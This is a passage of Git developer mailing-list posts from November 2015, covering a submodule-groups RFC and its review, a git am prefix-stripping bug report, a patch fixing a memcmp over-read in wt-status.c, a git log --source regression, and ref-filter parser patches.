err |= run_hook_le(NULL, "post-checkout", sha1_to_hex(null_sha1),
   sha1_to_hex(sha1), "1", NULL);

-   if (!err && option_recursive) {
+   if (err)
+   goto out;
+
+   if (option_recursive || submodule_groups.nr > 0) {
struct argv_array args = ARGV_ARRAY_INIT;
-   argv_array_pushl(&args, "submodule", "update", "--init", 
"--recursive", NULL);
+   argv_array_pushl(&args, "submodule", "update", "--init", NULL);
+
+   if (option_recursive)
+   argv_array_pushf(&args, "--recursive");
+
+   if (submodule_groups.nr > 0)
+   argv_array_pushf(&args, "--groups");

if (max_jobs != -1)
argv_array_pushf(&args, "--jobs=%d", max_jobs);
@@ -733,7 +745,7 @@ static int checkout(void)
err = run_command_v_opt(args.argv, RUN_GIT_CMD);
argv_array_clear(&args);
}
-
+out:
return err;
  }

@@ -864,6 +876,21 @@ int cmd_clone(int argc, const char **argv, const char 
*prefix)
option_no_checkout = 1;
}

+   if (option_recursive && submodule_groups.nr > 0)
+   die(_("submodule groups and recursive flag are incompatible"));


Me thinks this contradicts your description of the --group option
in the man page. I don't see why such a restriction would make
sense, what incompatibility are you trying to avoid here? Maybe
we need another submodule-specific setting to tell update what
groups to use inside that submodule?


+   if (submodule_groups.nr > 0) {
+   int first_item = 1;
+   struct string_list_item *item;
+   struct strbuf sb = STRBUF_INIT;
+   strbuf_addstr(&sb, "submodule.groups=");
+   for_each_string_list_item(item, &submodule_groups) {
+   strbuf_addf(&sb, "%s%s", first_item ? "" : ",",

Re: [RFC PATCH 0/5] Submodule Groups


Am 25.11.2015 um 02:32 schrieb Stefan Beller:

This is also available at 
https://github.com/stefanbeller/git/tree/submodule-groups
It applies on top of the submodule-parallel-patch series I sent a few minutes 
ago.

Consider having a real large software project in Git with each component
in a submodule (such as an operating system, Android, Debian, Fedora,
no toy OS such as https://github.com/gittup/gittup as that doesn't quite
demonstrate the scale of the problem).

If you have lots of submodules, you probably don't need all of them at once,
but you have functional units. Some submodules are absolutely required,
some are optional and only for very specific purposes.

This patch series adds meaning to a "groups" field in the .gitmodules file.

So you could have a .gitmodules file such as:

[submodule "gcc"]
 path = gcc
 url = git://...
 groups = default,devel
[submodule "linux"]
 path = linux
 url = git://...
 groups = default
[submodule "nethack"]
 path = nethack
 url = git://...
 groups = optional,games


Yup. Do you want the user to select only a single group or do you
plan to support selecting multiple groups at the same time too?


and by this series you can work on an arbitrary subgroup of these submodules 
such
using these commands:

 git clone --group default --group devel git://...
 # will clone the superproject and recursively
 # checkout any submodule being in at least one of the groups.


Does this automatically configure the given group in .git/config, so
that all future submodule related commands know about this choice?
Me thinks that would make sense ...


 git submodule add --group default --group devel git://... ..
 # will add a submodule, adding 2 submodule
 # groups to its entry in .gitmodule


Maybe '--groups default,devel' is easier to grok? Dunno.


 # as support for clone we want to have:
 git config submodule.groups default
 git submodule init --groups


Hmm, I doubt it makes much sense to add the --group option to "git
submodule init". I'd rather init all submodules and do the group
handling only in the "git submodule update" command. That way
upstream can change grouping later without having the user to
fiddle with her configuration to make that work.


 # will init all submodules from the default group

 # as support for clone we want to have:
 git config submodule.groups default
 git submodule update --groups

 # will update all submodules from the default group

Any feedback welcome, specially on the design level!
(Do we want to have it stored in the .gitmodules file? Do we want to have
the groups configured in .git/config as "submodule.groups", any other way
to make it future proof and extend the groups syntax?)


Not sure what exactly you mean by "it" here ;-)

Talking about what groups a submodule belongs to, an entry in the
.gitmodules file makes the most sense to me. That way upstream can
change submodule grouping or add new submodules with group assignments
from commit to commit, and "git submodule update" will do the right
thing for the superproject commit checked out.

And I believe that the choice which group(s?) the user is interested
should be recorded in .git/config, as that is his personal setting
that shouldn't be influenced by upstream changes.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: branch --set-upstream-to unexpectedly fails with "starting point ... is no branch"

2015-11-25 Thread Marc Strapetz

On 24.11.2015 17:58, Carlos Martín Nieto wrote:

On 23 Nov 2015, at 19:59, Marc Strapetz wrote:

On 23.11.2015 18:04, Carlos Martín Nieto wrote:

Hello Mark,

On 23 Nov 2015, at 12:04, Marc Strapetz wrote:

There is a strange "branch --set-upstream-to" failure for "clones" which haven't been created using "git
clone" but constructed using "git init", "git remote add" and "git fetch".

Following script first creates a "main" repository and then constructs the clone.
Finally, in the clone branches origin/1 and origin/2 will be present, however it's not possible to
invoke "git branch --set-upstream-to" for origin/2 (it works fine for origin/1).

I guess the behavior is related to following line in .git/config:

fetch = refs/heads/1:refs/remotes/origin/1

However, I don't understand what's the problem for Git here? Definitely the error
"starting point 'origin/2' is not a branch" is wrong.

That is indeed the issue. The configuration which is stored in the
configuration is a remote+branch pair. If there is no fetch refspec configured
which would create the ‘origin/2’ remote-tracking branch, the command does not
know which remote and branch that would correspond to.

Thanks, Carlos, I understand now.

My goal is to have a clone which will only fetch specific branches, so I guess I have to stick with
"refs/heads/1:refs/remotes/origin/1" for the beginning and for every new branch X add
another "refs/heads/X:refs/remotes/origin/X"? Or is there a better way?

If you want fine-grained control over what gets downloaded, you’ll need to
restrict either the configured refspecs or the ones which git-fetch gets.

Thanks, Carlos. I'll take this approach as it's the safer one.

-Marc
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html

Re: [PATCH v2] wt-status: correct and simplify check for detached HEAD

2015-11-25 Thread Matthieu Moy

René Scharfe  writes:

> diff --git a/wt-status.c b/wt-status.c
> index 435fc28..ced53dd 100644
> --- a/wt-status.c
> +++ b/wt-status.c
> @@ -1317,15 +1317,14 @@ static int grab_1st_switch(unsigned char *osha1, 
> unsigned char *nsha1,
>   target += strlen(" to ");
>   strbuf_reset(&cb->buf);
>   hashcpy(cb->nsha1, nsha1);
> - for (end = target; *end && *end != '\n'; end++)
> - ;
> - if (!memcmp(target, "HEAD", end - target)) {
> + end = strchrnul(target, '\n');
> + strbuf_add(&cb->buf, target, end - target);
> + if (!strcmp(cb->buf.buf, "HEAD")) {
>   /* HEAD is relative. Resolve it to the right reflog entry. */
> + strbuf_reset(&cb->buf);
>   strbuf_addstr(&cb->buf,
> find_unique_abbrev(nsha1, DEFAULT_ABBREV));
> - return 1;
>   }
> - strbuf_add(&cb->buf, target, end - target);
>   return 1;
>  }

Indeed, the code is much simpler like this than with the previous
attempts. Looks all right to me.

-- 
Matthieu Moy
http://www-verimag.imag.fr/~moy/
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: Bug: Incorrect stripping of the [PATCH] prefix in git-am

2015-11-25 Thread huebbe

Yes, it looks like the `--keep-non-patch` option works around this.

However, shouldn't that be the default behaviour?
I mean, what is the point in stripping stuff that is not proven to be inserted 
by `git` itself?
That's not what I expect a tool to do which I trust.

Cheers,
Nathanael



On 11/25/2015 04:44 PM, stefan.na...@atlas-elektronik.com wrote:
> Am 25.11.2015 um 16:29 schrieb huebbe:
>> Description:
>>
>> When applying a patch created via `git format-patch` with `git am`,
>> any prefix of the commit message that's within square brackets is stripped 
>> from the commit message.
> 
> As advertised in the man page of 'git am' (or 'git mailinfo' that is).
> 
> Is 'git am --keep-non-patch' what you're looking for ?
> 
>>
>>
>> Reproduction:
>>
>> $ git log --oneline --decorate --graph --all
>> * b41514b (HEAD) [baz] baz
>> | * 5e31740 (master) [bar] bar
>> |/
>> * aaf5d34 [foo] foo
>> $ git format-patch aaf5d34
>> $ git checkout master
>> $ git am 0001-baz-baz.patch
>> $ git log --oneline --decorate --graph --all
>> * d5161b8 (HEAD, master) baz
>> * 5e31740 [bar] bar
>> * aaf5d34 [foo] foo
>>
>> I have omitted all output except for the `git log` output for brevity.
>> As you can see, the commit resulting from `git am` has lost the "[bar]" 
>> prefix from its commit message.
>>
>> Looking at the patch,
>>
>> $ cat 0001-baz-baz.patch
>> From b41514be8a70fd44052bff0d3ce720373ec9cfd8 Mon Sep 17 00:00:00 2001
>> From: Nathanael Huebbe 
>> Date: Wed, 25 Nov 2015 15:28:09 +0100
>> Subject: [PATCH] [baz] baz
>>
>> ---
>>  baz | 1 +
>>  1 file changed, 1 insertion(+)
>>  create mode 100644 baz
>>
>> diff --git a/baz b/baz
>> new file mode 100644
>> index 000..7601807
>> --- /dev/null
>> +++ b/baz
>> @@ -0,0 +1 @@
>> +baz
>> --
>> 2.1.4
>>
>> I see that the commit message contains the "[PATCH]"-prefix that `git am` is 
>> supposed to strip,
>> yet it seems to incorrectly continue to also strip the "[baz]"-prefix.
>>
>>
>> Affected versions:
>> I have reproduced the bug with versions 1.9.1, 2.1.4, and 2.6.3
>>
>>
>> Severity:
>> While I do not consider this a high priority bug, it becomes quite irksome 
>> in some workflows.
>> In my case, an upstream `svn` repository has the policy of using 
>> "[branch-name]" prefixes
>> to the commit messages, which are stripped whenever I transplant a commit 
>> using the
>> `git format-patch`/`git am` combination.
>>
>>
>>
> 
> HTH,
>   Stefan
> 


-- 
Please be aware that the enemies of your civil rights and your freedom
are on CC of all unencrypted communication. Protect yourself.



signature.asc
Description: OpenPGP digital signature

Re: Bug: Incorrect stripping of the [PATCH] prefix in git-am

2015-11-25 Thread stefan.naewe

Am 25.11.2015 um 16:29 schrieb huebbe:
> Description:
> 
> When applying a patch created via `git format-patch` with `git am`,
> any prefix of the commit message that's within square brackets is stripped 
> from the commit message.

As advertised in the man page of 'git am' (or 'git mailinfo' that is).

Is 'git am --keep-non-patch' what you're looking for ?

> 
> 
> Reproduction:
> 
> $ git log --oneline --decorate --graph --all
> * b41514b (HEAD) [baz] baz
> | * 5e31740 (master) [bar] bar
> |/
> * aaf5d34 [foo] foo
> $ git format-patch aaf5d34
> $ git checkout master
> $ git am 0001-baz-baz.patch
> $ git log --oneline --decorate --graph --all
> * d5161b8 (HEAD, master) baz
> * 5e31740 [bar] bar
> * aaf5d34 [foo] foo
> 
> I have omitted all output except for the `git log` output for brevity.
> As you can see, the commit resulting from `git am` has lost the "[bar]" 
> prefix from its commit message.
> 
> Looking at the patch,
> 
> $ cat 0001-baz-baz.patch
> From b41514be8a70fd44052bff0d3ce720373ec9cfd8 Mon Sep 17 00:00:00 2001
> From: Nathanael Huebbe 
> Date: Wed, 25 Nov 2015 15:28:09 +0100
> Subject: [PATCH] [baz] baz
> 
> ---
>  baz | 1 +
>  1 file changed, 1 insertion(+)
>  create mode 100644 baz
> 
> diff --git a/baz b/baz
> new file mode 100644
> index 000..7601807
> --- /dev/null
> +++ b/baz
> @@ -0,0 +1 @@
> +baz
> --
> 2.1.4
> 
> I see that the commit message contains the "[PATCH]"-prefix that `git am` is 
> supposed to strip,
> yet it seems to incorrectly continue to also strip the "[baz]"-prefix.
> 
> 
> Affected versions:
> I have reproduced the bug with versions 1.9.1, 2.1.4, and 2.6.3
> 
> 
> Severity:
> While I do not consider this a high priority bug, it becomes quite irksome in 
> some workflows.
> In my case, an upstream `svn` repository has the policy of using 
> "[branch-name]" prefixes
> to the commit messages, which are stripped whenever I transplant a commit 
> using the
> `git format-patch`/`git am` combination.
> 
> 
> 

HTH,
  Stefan
-- 

/dev/random says: Oxymoron: Slow speed.
python -c "print 
'73746566616e2e6e616577654061746c61732d656c656b74726f6e696b2e636f6d'.decode('hex')"
 
GPG Key fingerprint = 2DF5 E01B 09C3 7501 BCA9  9666 829B 49C5 9221 27AF

Bug: Incorrect stripping of the [PATCH] prefix in git-am

2015-11-25 Thread huebbe

Description:

When applying a patch created via `git format-patch` with `git am`,
any prefix of the commit message that's within square brackets is stripped from 
the commit message.


Reproduction:

$ git log --oneline --decorate --graph --all
* b41514b (HEAD) [baz] baz
| * 5e31740 (master) [bar] bar
|/
* aaf5d34 [foo] foo
$ git format-patch aaf5d34
$ git checkout master
$ git am 0001-baz-baz.patch
$ git log --oneline --decorate --graph --all
* d5161b8 (HEAD, master) baz
* 5e31740 [bar] bar
* aaf5d34 [foo] foo

I have omitted all output except for the `git log` output for brevity.
As you can see, the commit resulting from `git am` has lost the "[bar]" prefix 
from its commit message.

Looking at the patch,

$ cat 0001-baz-baz.patch
From b41514be8a70fd44052bff0d3ce720373ec9cfd8 Mon Sep 17 00:00:00 2001
From: Nathanael Huebbe 
Date: Wed, 25 Nov 2015 15:28:09 +0100
Subject: [PATCH] [baz] baz

---
 baz | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 baz

diff --git a/baz b/baz
new file mode 100644
index 000..7601807
--- /dev/null
+++ b/baz
@@ -0,0 +1 @@
+baz
--
2.1.4

I see that the commit message contains the "[PATCH]"-prefix that `git am` is 
supposed to strip,
yet it seems to incorrectly continue to also strip the "[baz]"-prefix.


Affected versions:
I have reproduced the bug with versions 1.9.1, 2.1.4, and 2.6.3


Severity:
While I do not consider this a high priority bug, it becomes quite irksome in 
some workflows.
In my case, an upstream `svn` repository has the policy of using 
"[branch-name]" prefixes
to the commit messages, which are stripped whenever I transplant a commit using 
the
`git format-patch`/`git am` combination.



-- 
Please be aware that the enemies of your civil rights and your freedom
are on CC of all unencrypted communication. Protect yourself.




signature.asc
Description: OpenPGP digital signature

Combining APPLE_COMMON_CRYPTO=1 and NO_OPENSSL=1 produces unexpected result

2015-11-25 Thread Jack Nagel

When compiling git on OS X (where APPLE_COMMON_CRYPTO=1 is the
default) and specifying NO_OPENSSL=1, the resulting git uses the
BLK_SHA1 implementation rather than the functions available in
CommonCrypto.

$ uname -a
Darwin broadwell.local 15.0.0 Darwin Kernel Version 15.0.0: Sat Sep 19
15:53:46 PDT 2015; root:xnu-3247.10.11~1/RELEASE_X86_64 x86_64

$ make NO_OPENSSL=1
[...]
$ nm git | grep _SHA1_
000100173f00 t _blk_SHA1_Block
000100174e80 T _blk_SHA1_Final
00010018fbb0 s _blk_SHA1_Final.pad
000100173de0 T _blk_SHA1_Init
000100173e10 T _blk_SHA1_Update

However, with OpenSSL available, it does use the CommonCrypto functions:

$ make
[...]
$ nm git | grep _SHA1_
 U _CC_SHA1_Final
 U _CC_SHA1_Init
 U _CC_SHA1_Update

I would not expect the presence of NO_OPENSSL=1 to change the behavior
here, since neither case actually makes use of the OpenSSL SHA1
functions.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[PATCH v2] wt-status: correct and simplify check for detached HEAD

2015-11-25 Thread René Scharfe

If a branch name is longer than four characters then memcmp() reads over
the end of the static string "HEAD".  This causes the following test
failures with AddressSanitizer:

t3203-branch-output.sh   (Wstat: 256 Tests: 18 Failed: 
4)
  Failed tests:  12, 15-17
  Non-zero exit status: 1
t3412-rebase-root.sh (Wstat: 256 Tests: 31 Failed: 
3)
  Failed tests:  28-29, 31
  Non-zero exit status: 1
t3507-cherry-pick-conflict.sh(Wstat: 256 Tests: 31 Failed: 
4)
  Failed tests:  14, 29-31
  Non-zero exit status: 1
t3510-cherry-pick-sequence.sh(Wstat: 256 Tests: 39 Failed: 
14)
  Failed tests:  17, 22-26, 28-30, 34-35, 37-39
  Non-zero exit status: 1
t3420-rebase-autostash.sh(Wstat: 256 Tests: 28 Failed: 
4)
  Failed tests:  24-27
  Non-zero exit status: 1
t3404-rebase-interactive.sh  (Wstat: 256 Tests: 91 Failed: 
57)
  Failed tests:  17, 19, 21-42, 44, 46-74, 77, 81-82
  Non-zero exit status: 1
t3900-i18n-commit.sh (Wstat: 256 Tests: 34 Failed: 
1)
  Failed test:  34
  Non-zero exit status: 1
t5407-post-rewrite-hook.sh   (Wstat: 256 Tests: 14 Failed: 
6)
  Failed tests:  9-14
  Non-zero exit status: 1
t7001-mv.sh  (Wstat: 256 Tests: 46 Failed: 
5)
  Failed tests:  39-43
  Non-zero exit status: 1
t7509-commit.sh  (Wstat: 256 Tests: 12 Failed: 
2)
  Failed tests:  11-12
  Non-zero exit status: 1
t7512-status-help.sh (Wstat: 256 Tests: 39 Failed: 
35)
  Failed tests:  5-39
  Non-zero exit status: 1
t6030-bisect-porcelain.sh(Wstat: 256 Tests: 70 Failed: 
1)
  Failed test:  13
  Non-zero exit status: 1

And if a branch is named "H", "HE", or "HEA" then the current if clause
erroneously considers it as matching "HEAD" because it only compares
up to the end of the branch name.

Fix that by doing the comparison using strcmp() and only after the
branch name is extracted.  This way neither too less nor too many
characters are checked.  While at it call strchrnul() to find the end
of the branch name instead of open-coding it.

Helped-by: Jeff King 
Signed-off-by: Rene Scharfe 
---
We can be more careful when parsing -- or avoid parsing and backtrack
if we found "HEAD" after all.  The latter is simpler, and string
parsing is tricky enough that we better take such opportunities to
simplify the code..

Changes since v1:
* strcmp() instead of strncmp()
* strchrnul() (unrelated cleanup)
* adjusted subject (and commit message)

 wt-status.c | 9 -
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/wt-status.c b/wt-status.c
index 435fc28..ced53dd 100644
--- a/wt-status.c
+++ b/wt-status.c
@@ -1317,15 +1317,14 @@ static int grab_1st_switch(unsigned char *osha1, 
unsigned char *nsha1,
target += strlen(" to ");
strbuf_reset(&cb->buf);
hashcpy(cb->nsha1, nsha1);
-   for (end = target; *end && *end != '\n'; end++)
-   ;
-   if (!memcmp(target, "HEAD", end - target)) {
+   end = strchrnul(target, '\n');
+   strbuf_add(&cb->buf, target, end - target);
+   if (!strcmp(cb->buf.buf, "HEAD")) {
/* HEAD is relative. Resolve it to the right reflog entry. */
+   strbuf_reset(&cb->buf);
strbuf_addstr(&cb->buf,
  find_unique_abbrev(nsha1, DEFAULT_ABBREV));
-   return 1;
}
-   strbuf_add(&cb->buf, target, end - target);
return 1;
 }
 
-- 
2.6.3

--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: 'git log --source' seems to fail to show ref name after the first tag comes out.

2015-11-25 Thread Raymundo

2015-11-25 21:59 GMT+09:00 Jeff King :
>
> Sounds like a good opportunity to use git-bisect. I came up with 2073949
> (traverse_commit_list: support pending blobs/trees with paths,
> 2014-10-15) from git v2.2.0, which unfortunately was written by me. :)
>
> This one-liner seems to fix it:
>
> diff --git a/revision.c b/revision.c
> index af2a18e..d434b8b 100644
> --- a/revision.c
> +++ b/revision.c
> @@ -297,7 +297,6 @@ static struct commit *handle_commit(struct rev_info *revs,
>  * through to the non-tag handlers below. Do not
>  * propagate data from the tag's pending entry.
>  */
> -   name = "";
> path = NULL;
> mode = 0;
> }
>
> But I'm not sure if it causes other problems. In particular, I see why
> we would not propagate a path field, but I do not know why the original
> was avoiding propagating the name field.
>
> -Peff

It's a good news that you found the reason so soon.

I'd like to wait for next version :-)

Thank you!
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[PATCH/RFC 10/10] ref-filter: introduce objectname_atom_parser()

2015-11-25 Thread Karthik Nayak

Introduce objectname_atom_parser() which will parse the
'%(objectname)' atom and store information into the 'used_atom'
structure based on the modifiers used along with the atom.

Signed-off-by: Karthik Nayak 
---
 ref-filter.c | 42 +++---
 1 file changed, 31 insertions(+), 11 deletions(-)

diff --git a/ref-filter.c b/ref-filter.c
index 117..f2add19 100644
--- a/ref-filter.c
+++ b/ref-filter.c
@@ -50,6 +50,10 @@ static struct used_atom {
lines : 1,
no_lines;
} contents;
+   struct {
+   unsigned int shorten : 1,
+   full : 1;
+   } objectname;
} u;
 } *used_atom;
 static int used_atom_cnt, need_tagged, need_symref;
@@ -123,6 +127,21 @@ void contents_atom_parser(struct used_atom *atom)
die(_("improper format entered contents:%s"), buf);
 }
 
+void objectname_atom_parser(struct used_atom *atom)
+{
+   const char * buf;
+
+   if (match_atom_name(atom->str, "objectname", &buf))
+   atom->u.objectname.full = 1;
+
+   if (!buf)
+   return;
+   if (!strcmp(buf, "short"))
+   atom->u.objectname.shorten = 1;
+   else
+   die(_("improper format entered objectname:%s"), buf);
+}
+
 static align_type get_align_position(const char *type)
 {
if (!strcmp(type, "right"))
@@ -186,7 +205,7 @@ static struct {
{ "refname", FIELD_STR },
{ "objecttype", FIELD_STR },
{ "objectsize", FIELD_ULONG },
-   { "objectname", FIELD_STR },
+   { "objectname", FIELD_STR, objectname_atom_parser },
{ "tree", FIELD_STR },
{ "parent", FIELD_STR },
{ "numparent", FIELD_ULONG },
@@ -463,15 +482,16 @@ static void *get_obj(const unsigned char *sha1, struct 
object **obj, unsigned lo
 }
 
 static int grab_objectname(const char *name, const unsigned char *sha1,
-   struct atom_value *v)
+  struct atom_value *v, struct used_atom *atom)
 {
-   if (!strcmp(name, "objectname")) {
-   v->s = xstrdup(sha1_to_hex(sha1));
-   return 1;
-   }
-   if (!strcmp(name, "objectname:short")) {
-   v->s = xstrdup(find_unique_abbrev(sha1, DEFAULT_ABBREV));
-   return 1;
+   if (starts_with(name, "objectname")) {
+   if (atom->u.objectname.shorten) {
+   v->s = xstrdup(find_unique_abbrev(sha1, 
DEFAULT_ABBREV));
+   return 1;
+   } else if (atom->u.objectname.full) {
+   v->s = xstrdup(sha1_to_hex(sha1));
+   return 1;
+   }
}
return 0;
 }
@@ -495,7 +515,7 @@ static void grab_common_values(struct atom_value *val, int 
deref, struct object
v->s = xstrfmt("%lu", sz);
}
else if (deref)
-   grab_objectname(name, obj->sha1, v);
+   grab_objectname(name, obj->sha1, v, &used_atom[i]);
}
 }
 
@@ -1004,7 +1024,7 @@ static void populate_value(struct ref_array_item *ref)
v->s = xstrdup(buf + 1);
}
continue;
-   } else if (!deref && grab_objectname(name, ref->objectname, v)) 
{
+   } else if (!deref && grab_objectname(name, ref->objectname, v, 
atom)) {
continue;
} else if (!strcmp(name, "HEAD")) {
const char *head;
-- 
2.6.2

--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: 'git log --source' seems to fail to show ref name after the first tag comes out.

On Wed, Nov 25, 2015 at 07:29:02PM +0900, Raymundo wrote:

> At first, I'm sorry I'm not good at English.

No problem. Your report was very clear. :)

> When I execute this command:
> 
> git log --oneline --source --all --decorate
> [...]
> As you can see, ref names in the second column repeats to disappear
> and come back, at every lines that contain tags.

I was able to reproduce this pretty easily with a short test case:

  git init
  git commit --allow-empty -m one
  git commit --allow-empty -m two
  git commit --allow-empty -m three
  git tag -m mytag HEAD^

Starting from one source works:

  $ git log --oneline --source master
  de009a4 master three
  b75220d master two
  62f49bd master one

But starting from the tag as well does not:

  $ git log --oneline --source master mytag
  de009a4 master three
  b75220d  two
  62f49bd  one

Or more simply, starting from the tag never has any sources:

  $ git log --oneline --source mytag
  b75220d  two
  62f49bd  one

It's like the tag paints its commit with an empty "source" field (and
then we propagate that down the graph).

> I tested using Git version 2.6.3
> 
> For reference, Git version 1.7.9.rc0 does not have this problem. It
> shows ref names on all lines well.

Sounds like a good opportunity to use git-bisect. I came up with 2073949
(traverse_commit_list: support pending blobs/trees with paths,
2014-10-15) from git v2.2.0, which unfortunately was written by me. :)

This one-liner seems to fix it:

diff --git a/revision.c b/revision.c
index af2a18e..d434b8b 100644
--- a/revision.c
+++ b/revision.c
@@ -297,7 +297,6 @@ static struct commit *handle_commit(struct rev_info *revs,
 * through to the non-tag handlers below. Do not
 * propagate data from the tag's pending entry.
 */
-   name = "";
path = NULL;
mode = 0;
}

But I'm not sure if it causes other problems. In particular, I see why
we would not propagate a path field, but I do not know why the original
was avoiding propagating the name field.

-Peff
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Sparse checkout in worktree

2015-11-25 Thread Michael J Gruber

Hi there,

I'm wondering how much it would take to enable worktree specific sparse
checkouts. From a superfluous look:

- $GIT_DIR/info/sparse_checkout needs to be worktree specific
- We don't have much tooling around sparse to speak of at all.

The endgoal would be to have something like

git checkout [--sparse ]...

which sets up the sparse_checkout file and "git worktree" to pass any
--sparse option on to "git checkout".

While in an ideal world we all have micro repos, in the real world we
often have larger repos with mostly independent subdirs. For a quick fix
on a side branch in a subdir, a new sparse worktree would be an ideal
lean solution.

As it is, "git stash save && git checkout" is leaner but interrupts the
workflow more, and a local "git clone" with links and alternates is
leaner, too, but conceptually overkill if you want to work quickly on an
existing side branch.

Cheers,
Michael
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH] typofix for Documentation/git-cherry-pick.txt

On Wed, Nov 25, 2015 at 08:05:11PM +0800, bin0...@gmail.com wrote:

>  `git cherry-pick master`::
>  
> - Apply the change introduced by the commit at the tip of the
> + Apply the change introduced by the commit at the top of the
>   master branch and create a new commit with this change.

I don't think this is a typo. We frequently refer to the most recent
commit on a branch as the "tip of the branch". Saying "top" is not
wrong, but we use "tip" pretty consistently (it does not get its own
glossary entry, but see the "branch" entry in "git help glossary").

-Peff
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [RFC] rename detection: allow more renames

On Wed, Nov 25, 2015 at 01:03:15PM +0100, Andreas Krey wrote:

> On Tue, 24 Nov 2015 18:33:28 +, Jeff King wrote:
> ...
> > I didn't dig in the archive, but I think we discussed the "just show
> > progress for destinations" before. The problem you run into is that the
> > items aren't a good indication of the amount of work. You really are
> > doing n*m work, so if you just count "m", it can be very misleading if
> > "n" is high (and vice versa).
> 
> True, but the loops do progress indication for destinations only anyway.
> So if you only have three destinations and a zillion sources, you
> will still get only three progress updates, even if they say
> 'one zillion (33%)', 'two zillion (67%)', ...
> 
> I think as long as this is the case we can as well report the destination
> count; maybe put the source count somewhere in the progress text.

Ah, true. Though maybe that is something we should be fixing, rather
than building on. I dunno. I cannot recall the last time I saw rename
detection progress myself.

> > Might it make more sense just to move to a larger integer size?
> 
> Which would be? I'd venture into the progress code to identify
> the necessary changes.

I was thinking of uint64_t; the progress code would need to change, but
I don't see a big problem with that.

> We're somewhat close to getting there. The rename detection runs
> for several minutes in our cases.

Yikes. :)

-Peff
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Git super slow on Windows 7

2015-11-25 Thread Lars Schneider

Hi Johannes,

I am working with Git for Windows right now and it is dramatically slower than 
on OS X.
I executed "time git status" on Windows and OS X with the same repository and 
the following results:

## Windows git version 2.6.3.windows.1 (with enabled experimental flag on 
install):
real0m1.327s
user0m0.000s
sys 0m0.015s


## OS X git version 2.4.9 (Apple Git-60):
git status  0.06s user 0.13s system 102% cpu 0.186 total


Initially it was even slower on Windows (~1.6s). According to [1] I used the 
following settings to make it faster:
$ git config --global core.preloadindex true
$ git config --global core.fscache true

Is this behavior normal/expected?
If it is not normal, how would you debug the issue? How can I find out why it 
is so slow?

My user drive is not on a net share and the machine has a SSD.

Thanks,
Lars


[1] 
http://stackoverflow.com/questions/4485059/git-bash-is-extremely-slow-in-windows-7-x64--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH/RFC 00/10] ref-filter: use parsing functions

2015-11-25 Thread Karthik Nayak

On Wed, Nov 25, 2015 at 3:18 AM, Jeff King  wrote:
> On Thu, Nov 12, 2015 at 01:14:26AM +0530, Karthik Nayak wrote:
>
>> Karthik Nayak (10):
>>   ref-filter: introduce a parsing function for each atom in valid_atom
>>   ref-filter: introduce struct used_atom
>>   ref-fitler: bump match_atom() name to the top
>>   ref-filter: skip deref specifier in match_atom_name()
>>   ref-filter: introduce color_atom_parser()
>>   strbuf: introduce strbuf_split_str_without_term()
>>   ref-filter: introduce align_atom_parser()
>>   ref-filter: introduce remote_ref_atom_parser()
>>   ref-filter: introduce contents_atom_parser()
>>   ref-filter: introduce objectname_atom_parser()
>
> Hmm, your patch 10 does not seem to have made it to the list (at least I
> did not ever get it, and gmane seems to be down, so I cannot check there).
>
> -Peff

That's weird, I'll reply to this mail with patch 10.

-- 
Regards,
Karthik Nayak
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[PATCH] typofix for Documentation/git-cherry-pick.txt

2015-11-25 Thread bin0515

From: Bin Chen 

Signed-off-by: Bin Chen 
---
 Documentation/git-cherry-pick.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Documentation/git-cherry-pick.txt 
b/Documentation/git-cherry-pick.txt
index 77da29a..3f44fe0 100644
--- a/Documentation/git-cherry-pick.txt
+++ b/Documentation/git-cherry-pick.txt
@@ -155,7 +155,7 @@ EXAMPLES
 
 `git cherry-pick master`::
 
-   Apply the change introduced by the commit at the tip of the
+   Apply the change introduced by the commit at the top of the
master branch and create a new commit with this change.
 
 `git cherry-pick ..master`::
-- 
2.5.2

--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH/RFC 01/10] ref-filter: introduce a parsing function for each atom in valid_atom

2015-11-25 Thread Karthik Nayak

On Tue, Nov 24, 2015 at 5:14 AM, Eric Sunshine  wrote:
> On Wed, Nov 11, 2015 at 2:44 PM, Karthik Nayak  wrote:
>> Introduce a parsing function for each atom in valid_atom. Using this
>> we can define special parsing functions for each of the atoms. Since
>> we have a third field in valid_atom structure, we now fill out missing
>> cmp_type values.
>
> I don't get it. Why do you need to "fill out missing cmp_type values"
> considering that you're never assigning the third field in this patch?
> Are you planning on filling in the third field in a future patch?
>

